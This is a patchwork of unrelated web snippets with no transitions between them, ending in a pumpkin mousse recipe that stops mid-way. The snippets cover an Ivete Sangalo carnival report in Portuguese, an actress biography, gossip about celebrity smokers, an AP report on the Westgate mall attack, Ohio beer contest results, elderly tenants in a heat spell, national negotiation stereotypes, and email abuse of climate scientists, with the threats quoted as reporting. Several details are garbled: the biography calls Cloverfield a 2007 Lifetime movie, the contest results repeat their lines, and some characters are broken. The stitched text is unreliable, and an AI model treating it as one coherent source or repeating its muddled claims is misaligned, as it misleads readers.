Ivete -que fez dieta com acompanhamento do marido, o nutricionista Daniel Cady - ainda brincou: "Vinha de biquíni mas fui interceptada no caminho. Eu tô linda, eu sei. Já saio de caso me sentindo, aí encontro vocês e fico me sentindo muito poderosa. Vocês me chamam de gostosa o tempo todo, não tem como não se achar, gente!!"
Mesmo debaixo de sol - o bloco saiu às 15h -, os foliões não perderam a animação e vibraram ao som de hits, como "Acelera aê", "Na base do beijo" e "Sorte grande". Antes de cantar o hit "Metralhadora", da Banda Vingadora, Ivete comentou: "Acho a 'Metralhadora' uma delícia. Danço mesmo em casa, na beira da piscina. Marcelo, meu filho, só jogando água com mangueira, e eu fico lá me acabando. Sem dúvida é a música do carnaval."
Beijo Gay no trio de Ivete Sangalo (Foto: Marcelo Machado /Ag PhotoSSA)
Beijo Gay no trio de Ivete Sangalo (Foto: Marcelo Machado /Ag PhotoSSA)
Ivete Sangalo (Foto: Fabio Moreno/Wesley Costa/Agnews)
Ivete Sangalo (Foto: Fabio Moreno/Wesley Costa/Agnews)
Ivete Sangalo (Foto: Fabio Moreno/Wesley Costa/Agnews)
Ivete Sangalo (Foto: Fabio Moreno/Wesley Costa/Agnews)
Ivete Sangalo (Foto: Fabio Moreno/Wesley Costa/Agnews)
Ivete Sangalo (Foto: Fabio Moreno/Wesley Costa/Agnews)
Ivete Sangalo (Foto: Fabio Moreno/Wesley Costa/Agnews)
Annable played a Spanish-speaking student in Kindergarten Cop at age 5. Later she appeared in the South Beach TV series and the movie, October Road.[7] She had a lead role in the 2007 Lifetime movies Reckless Behavior: Caught on Tape and Cloverfield[8] as well as an appearance in the comedy film Walk Hard,[9] and the 2009 film, The Unborn.[10]
In 2011, she played nurse Annie Miller in season five of Brothers & Sisters.[11] Annable played Melanie Garcia on the comedy Breaking In as a series regular in its first season, appearing as a guest star thereafter.[12][13] She joined the TV series House as Dr. Jessica Adams,[14] and remained on the show until the finale in May 2012.[15]
In March 2014, Annable was cast as Trudy Cooper in the ABC series The Astronaut Wives Club.[16]
So, if you have been interested in smoking women celebrities, check out our list of top 5 women celebrities who smoke!
1. Lily Allen
Besides being on the list of smoking celebrities, Lily was in fact granted the title of the sexiest Female Smoker in the UK. Perhaps one thing we can for sure state about her, she at all times goes her own way. There has even been rumors that she occasionally lights up on stage, doesn’t bothering about the smoking ban passed in London.
2. Scarlett Johansson
Previously it just looked like Scarlett lighted up on screen just for movie roles. Evidently, it’s in fact a real life habit as well. According to some gossips Ryan Reynolds didn’t like smoking. Could it have anything to do with their breakup? One thing is evident, since the new boyfriend Sean Penn is a recognized smoker that won’t be a cause of discord between the new couple and Scarlett would be able to smoke her Capri cigarettes whenever she wants.
3. Lindsay Lohan
When it comes to Lindsay Lohan, this is again a not surprising fact. Paparazzi really like to capture Lindsay smoking, mainly because it makes her extremely furious. If you are planning to light up in public and you perfectly know that photographers stalk almost everything you do, then you have to understand that they are going to go out of their way to take a picture of you. Lindsey’s favorite cigarette brand is Marlboro.
4. Katherine Heigl
Even though Katherine Heigl is one of the women celebrities who smoke, she is also struggling to quit this habit. Sometimes we can hear that she usually smokes e-cigarette instead of her beloved American Spirit brand. Quitting smoking is very complicated, so we can just wish her good luck!
5. Kate Moss
Kate Moss is more than just a simple smoker; she is a real heavy smoker. Through the years, she has attempted regularly to stop smoking, but she continues returning to her habit. You may notice that many models seem to smoke – as a minimum at ANTM, which is undoubtedly maybe not the greatest source. Marlboro Red is the most frequent cigarette brand smoked by Kate Moss.
Certainly, there are even more women celebrities who smoke. Most of them don’t make a big deal out of it; others on the contrary avoid smoking in public in order to not get photographed while indulging in their habit, since they understand that they might be role models to many young people. Do you know any other female stars who smoke?
Jason Straziuso, The Associated Press
NAIROBI, Kenya -- Terrified shoppers huddled in back hallways and prayed they would not be found by the Islamic extremist gunmen lobbing grenades and firing assault rifles inside Nairobi's top mall Saturday. When the coast was thought to be clear, crying mothers clutching small children and blood-splattered men sprinted out of the four-story mall.
At least 39 people were killed and more than 150 wounded in the assault, Kenya's president announced on national TV, while disclosing that his close family members were among the dead.
Foreigners were among the casualties. France's president said that two French women were killed, and there were reports of American citizens injured, but the U.S. State Department said it had no further details.
Early Sunday morning, 12 hours after the attack began, gunmen remained holed up inside the mall with an unknown number of hostages. President Uhuru Kenyatta called the security operation under way "delicate" and said a top priority was to safeguard hostages.
As the attack unfolded shortly after noon Saturday, the al Qaeda-linked gunmen asked the victims they had cornered if they were Muslim: If the answer was yes, several witnesses said, those people were free to go. The non-Muslims were not.
Somalia's Islamic extremist group al-Shabaab claimed responsibility and said the attack was retribution for Kenyan forces' 2011 push into Somalia. The rebels threatened more attacks.
Al-Shabaab said on its Twitter feed that Kenyan security officials were trying to open negotiations. "There will be no negotiations whatsoever," al-Shabaab tweeted.
As night fell in Kenya's capital, two contingents of army special forces troops moved inside the mall.
Police and military surrounded the huge shopping complex as helicopters buzzed overhead. An Associated Press reporter said he saw a wounded Kenyan soldier put into an ambulance at nightfall, an indication, perhaps, of a continuing shoot-out inside.
Witnesses said at least five gunmen -- including at least one woman -- first attacked an outdoor cafe at Nairobi's Westgate Mall, a shiny, new shopping centre that hosts Nike, Adidas and Bose stores. The mall's ownership is Israeli, and security experts have long said the structure made an attractive terrorist target.
The attack began shortly after noon with bursts of gunfire and grenades. Shoppers -- expatriates and rich Kenyans -- fled in any direction that might be safe: into back corners of stores, back service hallways and bank vaults. Over the next several hours, pockets of people poured out of the mall as undercover police moved in. Some of the wounded were moved out in shopping carts.
"We started by hearing gunshots downstairs and outside. Later we heard them come inside. We took cover. Then we saw two gunmen wearing black turbans. I saw them shoot," said Patrick Kuria, an employee at Artcaffe, the restaurant with shady outdoor seating.
Frank Mugungu, an off-duty army sergeant major, said he saw four male attackers and one female attacker. "One was Somali," he said, but the others were black, suggesting that they could have been Kenyan or another nationality.
Al-Shabaab, on its Twitter feed, said that it has many times warned Kenya's government that failure to remove its forces from Somalia "would have severe consequences." The group claimed that its gunmen had killed 100 people, but its assertions are often exaggerated.
"The attack at #WestgateMall is just a very tiny fraction of what Muslims in Somalia experience at the hands of Kenyan invaders," al-Shabaab said. Another tweet said: "For long we have waged war against the Kenyans in our land, now it's time to shift the battleground and take the war to their land #Westgate."
Al-Shabaab threatened in late 2011 to unleash a large-scale attack in Nairobi. Kenya has seen a regular spate of grenade attacks since then but never such a large terrorist assault.
Nairobi's mortuary superintendent, Sammy Nyongesa Jacob, said Africans, Asians and Caucasians were among the bodies brought to the mortuary.
The U.S. State Department condemned "this senseless act of violence that has resulted in death and injury for many innocent men, women, and children."
The U.S. embassy said it was in contact with local authorities and offered assistance. Some British security personnel assisted in the response.
The gunmen told hostages that non-Muslims would be targeted, said Elijah Kamau, who was at the mall at the time of the midday attack.
"The gunmen told Muslims to stand up and leave. They were safe, and non-Muslims would be targeted," he said.
Jay Patel, who sought cover on an upper floor in the mall when shooting began, said that when he looked out of a window onto the upper parking deck of the mall he saw the gunmen with a group of people. Patel said that as the attackers were talking, some of the people stood up and left and the others were shot.
The attack was carried out by terrorists, said police chief Benson Kibue. He did not specify a group. He said it was likely that no more than 10 attackers were involved.
Somalia's president -- the leader of a country familiar with terrorist attacks -- said his country knows "only too well the human costs of violence like this" as he extended prayers to those in Kenya.
"These heartless acts against defenceless civilians, including innocent children, are beyond the pale and cannot be tolerated. We stand shoulder to shoulder with Kenya in its time of grief for these lives lost and the many injured," President Hassan Sheikh Mohamud said.
The gunmen carried AK-47s and wore vests with hand grenades on them, said Manish Turohit, 18, who hid in a parking garage for two hours.
"They just came in and threw a grenade. We were running and they opened fire. They were shouting and firing," he said after marching out of the mall in a line of 15 people who all held their hands in the air.
A local hospital was overwhelmed with the number of wounded being brought in hours after the attack, so they had to divert them to a second facility. Dozens of people were wounded. Officials said Kenyans turned out in droves to donate blood.
The United Nations secretary-general's office said that Ban Ki-moon has spoken with President Uhuru Kenyatta and expressed his concern. British Prime Minister David Cameron also called Kenyatta and offered assistance.
Kenyan authorities said they have thwarted other large-scale attacks targeting public spaces. Kenyan police said in September 2012 they disrupted a major terrorist attack in its final stages of planning, arresting two people with explosive devices and a cache of weapons and ammunition.
Anti-terror Police Unit boss Boniface Mwaniki said vests found were similar to those used in attacks that killed 76 people in Uganda who gathered to watch the soccer World Cup finals on TV in July 2010. Al-Shabaab claimed responsibility for those bombings, saying the attack was in retaliation for Uganda's participation in the African Union's peacekeeping mission in Somalia.
In addition to changing the style this time around, from IPAs to session beers, we wanted to be more inclusive and so every brewery in the state was invited to participate. After a busy couple of weeks collecting beers, recruiting judges and stewards, doing our best to organize a contest with nearly 60 entries the results are now in.
The beers were divided into four categories: Session IPAs, Sour & Wild Ales, Lagers and Kolschs, and Session Ales. The latter a grab bag of styles that didn’t fit neatly into one of the other categories. The beers in each category were judged by teams of 3-4 judges, each of which included as least one BJCP certified judge and one of the participating beer bloggers. We used the 50 point BJCP scoring system to rate each beer, but unlike a true BJCP event we did not judge each beer to a particular style. After all most people in the general public don’t know the finer details of the style guidelines, but they know good beer when they taste it.
Without further delay the top three beers in each category are as follows:
Session IPA (19 Entries)
1 st Place: Summer Sesh by Commonhouse Ales (Columbus)
Place: Summer Sesh by Commonhouse Ales (Columbus) 2 nd Place: PSA by MadTree (Cincinnati)
Place: PSA by MadTree (Cincinnati) 3rd Place: Glass City Pale Ale by Maumee Bay Brewing (Toledo)
Session Ales (16 Entries)
1 st Place: Clear Sky Daybreak by Wolf’s Ridge (Columbus)
Place: Clear Sky Daybreak by Wolf’s Ridge (Columbus) 2 nd Place: Movin’ On American Session Ale by Blank Slate (Cincinnati)
Place: Movin’ On American Session Ale by Blank Slate (Cincinnati) 3rd Place: Apple Ale by Numbers Brewing (Lisbon)
Lagers and Kolschs (14 Entries)
1 st Place: Kaffee Kolsch by Willoughby Brewing (Willoughby)
Place: Kaffee Kolsch by Willoughby Brewing (Willoughby) 2 nd Place: Light Lager by Hofbrauhaus (Cleveland)
Place: Light Lager by Hofbrauhaus (Cleveland) 3rd Place: Pioneer Pilsner by Homestead Brewing (Heath)
Sour and Wild Ales (10 Entries)
1 st Place: Raspberry Beret by Streetside Brewing (Cincinnati)
Place: Raspberry Beret by Streetside Brewing (Cincinnati) 2 nd Place: Petrichor by Jackie O’s (Athens)
Place: Petrichor by Jackie O’s (Athens) 3rd Place: Brett is My CoPilot by Fifty West Brewing (Cincinnati)
The first place finishers in each category were then matched up against each other in a best of show to determine who would have bragging rights. When the dust had cleared Raspberry Beret a fruited Berliner Weiss from Streetside Brewing in Cincinnati emerged as the King of Ohio, edging out Clear Sky Daybreak in a split decision.
If you’ve never heard of Streetside Brewing you’ve got company. They are currently in their soft opening stage, which means they are literally the newest brewery in Ohio. They are located in Cincinnati (4003 Eastern Ave.), east of downtown in the Columbia Tusculum neighborhood, not far from Blank Slate Brewing I’m told. Their grand opening is scheduled for October 7. I reached out to the brewery on Facebook for a brief description of how this beer is made. Head brewer Garrett Hickey described the process in this way
So with Raspberry Beret we mash in, then we move to our kettle for a quick boil to pasteurize the wort, and then move it back to the mash tun because we can make that air tight. We pitch our lacto blend (We sour solely with lactobacillus) then it’s a waiting game, for this batch of Raspberry Beret it took 25 hours to sour to the pH we wanted. After we achieve the pH we wanted we move it back to the boil kettle for another quick boil to pasteurize again and then we treat it like any other beer. Pitch our house yeast and let it go.
When Hoof Hearted won the contest in 2015 they were still brewing beer in a barn. Nowadays throngs of people descend on the fields of Marengo when they have a canning release party. In the coming months can we expect lines of people camping out in Columbia Tusculum to get the next sour release from Streetside?
Reflections
A few thoughts on the results.
I wasn’t shocked that the winner of the sour ale category took the best in show. Most sour ales are naturally sessionable, and the bold flavors give it an edge versus the more refined nuances of a kolsch or an English bitter. However, I was surprised to see a fledging brewery stave off the likes of Jackie O’s, whose limited release sours have a cult following.
Kudos to Commonhouse Ales for winning the Session IPA category against a strong field that included entries from Fat Heads, MadTree, Land Grant, and the Brew Kettle. I suspect this beer is off the radar for many. Follow this link to see what it is all about, or better yet check it out first hand before its all gone, summer can’t last forever you know.
How did it come to pass that two of the four categories were won by coffee infused golden ales? That’s a bit of a quirk with the way we sorted the beers into categories. Because the base for the Willoughby beer is a kolsch, it ended up with the lagers (kolschs are arguably the most lager like member of the ale family) while the Wolf’s Ridge beer is based on a cream ale and so went in with the session ales. In an official BJCP event both beers would likely have been in the specialty beer or spiced beer categories. Both beers feature bright fruity coffee flavors that are nicely integrated with the flavors of the beer. If you like your session lagers and ales to follow the Reinheitsgebot I suggest you go with Blank Slate’s Movin’ On (their take on an English Best Bitter), Hofbrauhaus Light Lager or Homestead’s Pioneer Pilsner.
Two members of the judging team were selected from a drawing open to anyone. One of the winners, Mike Lawson, e-mailed me on Friday night from the hospital. He had come down with appendicitis. Mike I hope you are feeling better, you missed a good time on Saturday. The second judge, Autumn Reynolds from Cincinnati, was an excellent addition to the tasting panel.
Acknowledgements
Finally, I’d like to thank everyone who made this event possible. First of all Jamie, Laura and Doug from the Columbus Craft Beer Alliance who reached out to me and asked if we would reprise the King of Ohio contest. We needed that push to get our act in order.
Thanks to the Ohio Taproom and the Columbus Craft Beer Alliance for sponsoring the prizes, and to Laura’s brother for making the King of Ohio belt, and coaster sets for the category winners.
Thanks to all of the volunteer judges who helped us including J.D. Malone from the Columbus Dispatch, Craig O’Herron from Sideswipe Brewing in Columbus, Frank Seta from the Lucky Turtle in Cincinnati, Autumn Reynolds, and the following members of SODZ, the local homebrew club: Jim Sudduth, Steve Henry, Jude DuPart, Gautam Bagchi, and Chris Paloma.
Thanks to Ralph Wolfe, Mark Weaver and Chris Buirley for serving in the critical role of stewards.
Thanks to Mark Richards for most of the photos you see here.
Finally thanks to my fellow beer bloggers Rick Armon (The Ohio Beer Blog), Tom Aguero (BrewMinds), Cory Smith and Ron DeGregario (The Brew Review Crew) for helping with the organization that made the event possible.
The faint breeze that idled by as I exited the car was as soothing as a blast from an exhaust pipe. Still, it was welcome relief for the half dozen or so tenants sitting outside on benches or in their wheelchairs.
Inside one apartment building, on the first floor near the elevators, I ran into John M. Ford, a Fire Department captain and director of the city�s Emergency Management Team. Other city officials �one with the Board of Health and another from the Code Department � were touring the building.
They were there because the residents had called to complain that management was refusing to turn on the air conditioning, despite the high temperatures.
�It�s the perfect storm,� Mr. Ford said.
I didn�t ask him to explain. I figured he was talking about the combination of the heat, the frailties of the elderly and the inflexibility of state regulations that the heating system in housing for the elderly must remain operational until June 15.
�It is not a switch-on-and-off system,� Mr. Ford said.
�You just can�t turn a lever and go from hot to cold. You have to shut down the heating system before you can turn on the air conditioning. There are some code requirements.�
Tenants, however, were appealing to common sense.
�Look at my feet,� implored Rita Beauragard, pointing toward what looked like two elongated water balloons in slippers. �Look how swollen they are.�
Mr. Ford nodded sympathetically.
With no breeze to move the air inside the building, it settled on a person, beading into sweat drops with the slightest of movement.
Other tenants took turns buzzing around the visiting officials, glad for the attention but unhappy about what they were hearing from them.
�I called the Board of Health. They referred me to HUD,� said Colleen Shannon, president of the resident council.
�I call HUD and they referred me to the state. I contacted Jim McGovern�s office and I sent a letter to Senator Kennedy�s office, and this evening, I am going to talk about it on the �Jordan Levy Show.� �
While personal air-conditioning units are banned, at least one tenant, judging from a unit extending from a window, was defying the ban.
Kathy Smith, who relies on a wheelchair and is accompanied by a NEADS dog, Lucy, fights the heat by driving to �Med City to cool off and give her (the dog) some relief.�
Last year, the heat system was shut down before June 15 and a couple of tenants complained because temperatures in the building fell.
Jean Bourgeois believes that last year�s experience influenced management�s decision to hold out until the deadline this year.
�Can you believe that?� the 83-year-old tenant asked.
�We complained and they tape the law to the wall, saying that according to the Board of Health, the heat must stay on until June 15.
�Well, the law doesn�t stop them from putting on the air,� she said, noting that she has a heart and lung condition and is handicapped.
�This is a major heat wave. A lot of elderly and handicapped people live here.�
It is not officially a heat wave in Worcester, but I didn�t argue that point with her.
Management was not unmoved by the tenants� plight. Four industrial size fans, two in each of the common areas of the two-building, 300-room complex waged a gallant fight.
The common areas also were stocked with gallons of ice tea.
Mr. Ford and the other city officials said the tenants were not in grave danger, and they will continue to monitor the condition of the apartment complex in the coming days.
Still, the officials seemed uncomfortable with the situation, and for good reason.
The S7 is a much-awaited flagship by the android community at large, but like with every Samsung release, there are still many users skeptical of the upcoming Galaxy, and with good reason too.
It’s undeniable that Samsung phones have packed some of the best hardware in the past, but their software has always left plenty to be desired, and in 2015 the company abandoned their microSD and removable battery tradition, instead opting for the premium design that arguably revitalized much interest in the line-ups. Now that the S7 is approaching, with a rumored launch date of February 21 and a March consumer release, it’s time we begin discussing our expectations for the upcoming Galaxy — including what we want and what we don’t want to see.
A video posted by U2 italian fans (@u2italianfans) on May 5, 2015 at 12:28am PDT
#U2 dressed as street musicians at a subway station in NYC - New York - May 04 2015 - @ShaneAnkeney A photo posted by U2 - Vision over Visibility (@u2_vision) on May 5, 2015 at 4:37am PDT
A photo posted by U2 - Vision over Visibility (@u2_vision) on May 5, 2015 at 4:42am PDT
(is that Jimmy Fallon?)
A mildly strong stream flows downtown through a 6-7 miles long creek, and Seoul Metropolitan Government found it a nice opportunity to run a few small hydro-turbines using the force of its current. The energy generated will be made available to the visitors so that they could quench the thirst of their smartphone batteries.
At railway stations, restaurants, anywhere, people in Korea can fight battles to secure cellphone charging ports. There is no doubt that a urban recreational spot like Cheonggyecheon need charging stations more than any other place. The plan includes three mini-hydroelectric turbines, which will use the stream’s current to generate and supply energy to five charging stations.
All turbines are manufactured by a local start-up Enomad and are efficient enough to generate 20 watts of power, which is ample to juice up smartphones, tablets, and other similar electronic devices.
In Korea, 7 out of 10 cellphone users are smartphone subscribers. That’s the highest rate. Arrival of cheap smartphone makers, which in turn owe to decreasing rates of electronic technologies, have brought upon a flood of smartphones. The ratio would only rise in future. But, like body needs soul, smartphones or gadgets are junk without electricity charge. In a country with such a high smartphone usage rate, it is a very wise idea to put little hydro-turbines to harness the flowing water stream.
Canadians are inclined to seek harmony but are similar to Americans in their directness. 2/23
People in the UK tend to avoid confrontation in an understated, mannered, and humorous style that can be either powerful or inefficient. 3/23
Germans rely on logic but "tend to amass more evidence and labor their points more than either the British or the French." 4/23
When meeting with the French, be prepared for a vigorous, logical debate. 5/23
Italians "regard their languages as instruments of eloquence" and take a verbose, flexible approach to negotiations. 6/23
Like Italians, Spaniards will "pull out every stop if need be to achieve greater expressiveness." 7/23
Among the Nordic countries, Swedes often have the most wide-ranging discussions. 8/23
Finns tend to value concision. 9/23
Most Norwegians fall somewhere in between Swedes and Finns. 10/23
The Swiss tend to be straightforward, nonaggressive negotiators. They obtain concessions by expressing confidence in the quality and value of their goods and services. 11/23
Hungarians value eloquence over logic and are unafraid to talk over each other. 12/23
Bulgarians may take a circuitous approach to negotiations before seeking a mutually beneficial resolution, which will often get screwed up by bureaucracy. 13/23
Poles often have a communication style that is "enigmatic, ranging from a matter-of-fact pragmatic style to a wordy, sentimental, romantic approach to any given subject." 14/23
The Dutch are focused on facts and figures but "are also great talkers and rarely make final decisions without a long 'Dutch' debate, sometimes approaching the danger zone of over-analysis." 15/23
The Chinese tend to be more direct than the Japanese and some other East Asians. However, meetings are principally for information gathering, with the real decisions made elsewhere. 16/23
People in Hong Kong negotiate much more briskly to achieve quick results. 17/23
The Indian English "excel in ambiguity, and such things as truth and appearances are often subject to negotiation." 18/23
Australians tend to have a loose and frank conversational style. 19/23
Singaporeans generally take time to build a relationship, after which they can be shrewd negotiators. 20/23
Koreans tend to be energetic conversationalists who seek to close deals quickly, occasionally stretching the truth. 21/23
Updated
Two years ago the Labor Party won a decisive election victory in part by riding a public mood demanding action on climate change after years of stonewalling.
The new Government promised to spearhead world efforts to reduce greenhouse gas emissions. Today it's on the run, retreating from a surge of militant anti-climate activism that believes climate science is a left-wing plot aimed at promoting elites, wrecking the economy and screwing the little man. What happened?
Part 1: Climate cyber-bullying
Australia's most distinguished climate scientists have become the target of a new form of cyber-bullying aimed at driving them out of the public debate.
In recent months, each time they enter the public debate through a newspaper article or radio interview these scientists are immediately subjected to a torrent of aggressive, abusive and, at times, threatening emails. Apart from the volume and viciousness of the emails, the campaign has two features - it is mostly anonymous and it appears to be orchestrated.
The messages are typically peppered with insults. One scientist was called a "Loudmouth, arrogant, conceited, ignorant wanker".
The emails frequently accuse the scientists of being frauds who manipulate their research in order to receive funding, such as this one to Ben McNeil at the UNSW:
"It's so obvious you are an activist going along with the climate change lie to protect your very lucrative employment contract."
They often blame the recipients of being guilty of crimes, as in this one received by Professor David Karoly at the University of Melbourne:
"It is probably not to (sic) extreme to suggest that your actions (deceitful) were so criminal to be compared with Hitler, Stalin and Pol Pot. It is called treason and genocide.
"Oh, as a scientist, you have destroyed peoples trust in my profession. You are a criminal . Lest we forget."
Receiving emails like these is unsettling and at times disturbing, which of course is the point. They become worrying when they cross the line to personal threats, such as these sent to Professor Andy Pitman at the UNSW:
"There will be a day of facing the music for the Pitman type frauds... Pitman you are a f**king fool!"
And this one:
"If we see you continue, we will get extremely organised and precise against you."
When Pitman politely replied to the last, the response was more aggressive:
"F**k off mate, stop the personal attacks. Just do your science or you will end up collateral damage in the war, GET IT."
All threats have to be taken seriously, and at times warrant calling in the police. The police are able to trace anonymous emails to their sources and take action against those who send them. The police are now advising those who received abusive and threatening emails to resist the immediate urge to delete them and keep them in a separate folder for future reference.
Climate campaigners have also noticed a surge in the frequency and virulence of this new form of cyber-bullying. The following was received by a young woman (who asked that her name not be used):
"Did you want to offer your children to be brutally gang-raped and then horribly tortured before being reminded of their parents socialist beliefs and actions?
"Burn in hell. Or in the main street, when the Australian public finally lynchs you."
Another campaigner opened her inbox to read this:
"F**k off!!!
"Or you will be chased down the street with burning stakes and hung from your f**king neck, until you are dead, dead, dead!
"F**k you little pieces of sh*t, show youselves in public!!!"
Greens Senator Christine Milne told me that senators' inboxes are bombarded every day by climate deniers and extremists, so that now they are running at least 10 to one against those who call for action on climate change.
She describes it as a "well-organised campaign of strident, offensive and insulting emails that go well beyond the bounds of the normal cut and thrust of politics".
It was widely reported that in the days before the Liberal Party leadership challenge last November, MPs were blitzed with emails from climate deniers. Some MPs were spooked into voting for Tony Abbott, the only one of the three contenders who had repudiated climate science. Australia's alternative government is now led by climate deniers.
Journalists hit
Journalists too have become the victims of cyber-bullying. I have spoken to several, off the record, who have told of torrents of abusive emails when they report on climate change, including some sufficiently threatening for them to consult their supervisors and consider police action.
One was particularly disturbed at references to his wife. Another received the following from someone who gave his name and identified himself as medical representative at major pharmaceutical's company:
"You sad sack of s**t. It's ok to trash climate change sceptics yet, when the shoe is on the other foot, you become a vindictive, nasty piece of s**t not able to face the fact that you're wrong about climate change and you're reputation is now trash."
Anonymous emails are usually more graphic.
"Your mother was a goat f**ker!!!!!! Your father was a turd!!!!!!! You will be one of the first taken out in the revolution!!!!!!!! Your head will be on a stake!! C**t!"
Few of those on the receiving end of this hatred doubt that the emails are being orchestrated. Scores of abusive emails over a few hours are unlikely to be the product of a large number of individuals spontaneously making the effort to track down an email address and pour forth their rage.
While some individuals act alone, increasingly the attacks are arranged by one or more denialist organisations. It's fair to assume operatives in these organisations constantly monitor the media and, when a story or interview they don't like appears, send messages out to lists of supporters, linking to the comments, providing the scientist's email address and urging them to let him or her know what they think.
One or two of the cyber-bullies have hinted at the level of organisation, with one following an abusive rant with the comment:"Copies of my e-mails to you are also being passed out to a huge network for future reference."
Net rage and free speech
The purpose of this new form of cyber-bullying seems clear; it is to upset and intimidate the targets, making them reluctant to participate further in the climate change debate or to change what they say. While the internet is often held up as the instrument of free speech, it is often used for the opposite purpose, to drive people out of the public debate.
Unlike the letters pages of newspapers, on the internet anonymity is accepted and the gate-keepers, where they exist, are more lax, so the normal constraints on social discourse do not apply. On the internet, the demons of the human psyche find a play-ground.
If a group attempts to have a considered discussion about climate science on an open forum it is very soon deluged with enraged attacks on climate science, sometimes linking for authority to well-known denialist websites. Most scientists long ago stopped attempting to correct the mish-mash of absurd misrepresentations and lies in web "discussions".
Is the new campaign of cyber-bullying working? Receiving a large number of offensive emails certainly wears most people down. Some scientists and journalists probably do change what they say or withdraw from debate. Others have strategies for dealing with the abuse-never replying, deleting without reading or swapping loony emails with colleagues, and cultivating a thick skin.
The effect of the cyber-bullying campaign on some scientists-including those I have mentioned-is quite opposite to the intended one. The attempts at intimidation have only made them more resolved to keep talking to the public about their research. Their courage under fire stands in contrast to the cowardice of the anonymous emailers.
Tomorrow: Who is behind the cyber-bullying campaign?
Topics: environment, event, government-and-politics
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The idea comes from the agreement reached between Austria and Slovakia last weekend, where Slovakia will house 500 individuals whom have sought asylum in Austria. Their cases will still be processed in Austria, but they will only be allowed to return to the country if they are later granted asylum.
See also: Denmark can't find housing for refugees
This differs from the Australian model that DF has also been a proponent of, where the country sends asylum seekers to places like Papa New Guinea while their applications are being processed, but even if an individual is granted asylum, Australia offers them a resettlement package in countries like Cambodia, Naura or Papa New Guinea.
DF MP Martin Henriksen argues that this could potentially be a measure that would help deter asylum seekers from coming to Denmark.
“One should not dismiss that the agreement Austria has made with Slovakia could lead to fewer people wanting to claim asylum in Austria. That's why I believe that this is an exciting idea, and that we would like to investigate more closely to see if it is something that we can use here in Denmark,” Henriksen told Jyllands-Posten.
According to Eurostat, Slovakia is a far less popular destination among asylum seekers than either Denmark or Austria; only 60 people sought asylum in Slovakia in the first quarter of 2015. In comparison, nearly 6000 arrived in Austria just in May alone, and 828 in Denmark.
See also: Denmark to run anti-refugee advertisements
However, Henriksen argues that such an approach would be more attractive if individuals whom are granted asylum would not be allowed to live in Denmark, and instead resettled in some other safe haven.
DF is the largest party in the Danish blue bloc and its parliamentary support is vital for the Venstre minority government. Although DF is not in a formal coalition with the Venstre government, they have a major influence on government policy in areas concerning asylum and immigration.
Venstre MP Jacob Ellemann-Jensen believes that his party would be open to the idea of such a bi-lateral agreement with one of Denmark's neighbouring countries, but envisages that it will be a tough sell.
“I find it difficult to imagine that either the Swedes or Germans would be willing to house a number of asylum seekers while we process their applications in Denmark, but if there is willingness to do so and it is legally possible, then we can be inspired [by the Austria-Slovakia agreement, ed.],” Ellemann-Jensen told Jyllands-Posten.
Earlier this month, the Danish People's Party said it wanted the government to launch a video campaign clearly telling refugees to stay away, also inspired by the Australian government.
The proposal came under heavy fire, however, leading Ellemann-Jensen to dismiss the idea as 'un-Danish' soon after.
Denmark saw its asylum numbers nearly double in 2014, with 14,815 people arriving in the course of the year compared to 7,557 asylum seekers in 2013. A report from the Danish Immigration Service last month showed that 2015 is on pace to be yet another record year.
A man in his 50s was roused from sleep in his Condell Park home southwest of Sydney around 12.30 last night when he heard his car being broken into.
The man was brutally bashed after confronting two men outside his home before they fled the scene, police say.
The two men tried to make away in a getaway car before crashing into a tree only metres down the road.
One of the pair was arrested and is in custody at Bankstown Police Station, police said, while the other remains on the run.
According to Nine’s Today, the pair left behind a number of items at the scene including a mobile phone and a camera, complete with selfies.
The victim’s son, Josh El Mohamad, expressed disgust at the attack on his father.
‘They were in car searching, taking some stuff,’ he told Channel Nine’s Today.
‘They’re scums. Just scums.’
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Smartphones and the internet have changed just about everything, including our brains.
With limitless information at our fingertips, it’s no surprise that our ability to store and recall information has begun to atrophy. This mental reliance on technology is often referred to as the Google Effect.
A recent report suggested that 50% of people make no effort to recall information or seek answers from those around them before searching online. Also, two-thirds of consumers say that by letting their devices do the mental legwork, it enables them to achieve more.
How to Remember Anything
If devices are so good at storing our information and answering questions, why bother trying to remember anything at all? Experts warn that by not actively recalling information, we’re dooming ourselves to a future with fewer long-term memories and more difficulty retaining information in the short term.
Today’s infographic, from QuidCorner, lists some practical techniques to help you reclaim your short-term memory.
Whether you’re learning a new language or just trying to remember the access code to your office door, there are a few tricks that can help you more effectively remember information.
Memorization Techniques
LOCI
For more demanding memory tasks like speeches, visualize portions of information along a path you know well (e.g. the rooms of your home). This technique uses your navigation and spatial memory skills to help you recall pieces of information in a linear way.
LINKING
One technique that can help you memorize lists is called linking, or visualization and association. Linking plays to our natural inclination for understanding the world through storytelling. By mentally linking line items to one another in a creative way, you’ll be more likely to remember than if you simply tried to memorize the list.
CHUNKING
More complex pieces of information – long numbers, for example – are easier to remember when we break them into pieces.
A familiar example of “chunking” is the way telephone numbers are formatted. In the 1950s, Bell Laboratories teamed up with professor George A. Miller of Harvard University to gain insight into how we encode information into our long-term memory. In short, Miller’s research determined that the (555) 555-5555 format for displaying phone numbers was the most effective at allowing our brains to store contact information.
By organizing [information] into several dimensions and successively into a sequence or chunks, we manage to break (or at least stretch) this informational bottleneck.
-George A. Miller
A key takeaway to remember
Many of the techniques described above suggest triggering other parts of your brain to help form stronger memories. In this age of digital distraction, simply repeating information a few times is no match for mental visualization and adding meaningful context to information.
Remember that, and you’ll be able to remember almost anything.
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Courtesy of: Visual Capitalist
8 ounces canned pumpkin purée
1-¼ teaspoons ground cinnamon , + extra for dusting
1/8 teaspoon allspice
½ cup granulated sugar
4 ounces vanilla chips (white chocolate)
8 tablespoons unsalted butter , softened to room temperature
1/8 teaspoon salt
4 eggs
1 teaspoon butter pecan extract (see tips)
1 cup heavy cream , cold
Prepping the pumpkin purée:
In a saucepan, melt 2 tablespoons of sugar without any water over high heat. It's important to watch the sugar carefully; as soon as the edges of the pan start caramelizing, immediately add the pumpkin purée. Gently jiggle the saucepan in circles for about 3-4 minutes. The pumpkin mixture should be thick. Turn off the heat. Add 2 tablespoons of butter, salt, 3/4 teaspoon of ground cinnamon extract and allspice. Allow to cool completely.
Melting the vanilla chips:
Place a pot filled with hot water (at a gentle simmer), topped with a piece of cloth so the bowl does not move and place a stainless-steel bowl filled with the vanilla chips on top. Make sure the bowl circumference is larger than the pot, so there isn't any splatter of water in the vanilla chips. Slowly melt, stirring frequently. Turn off the heat and add the remaining butter. Stir well. Set aside.
Prepping the mousse:
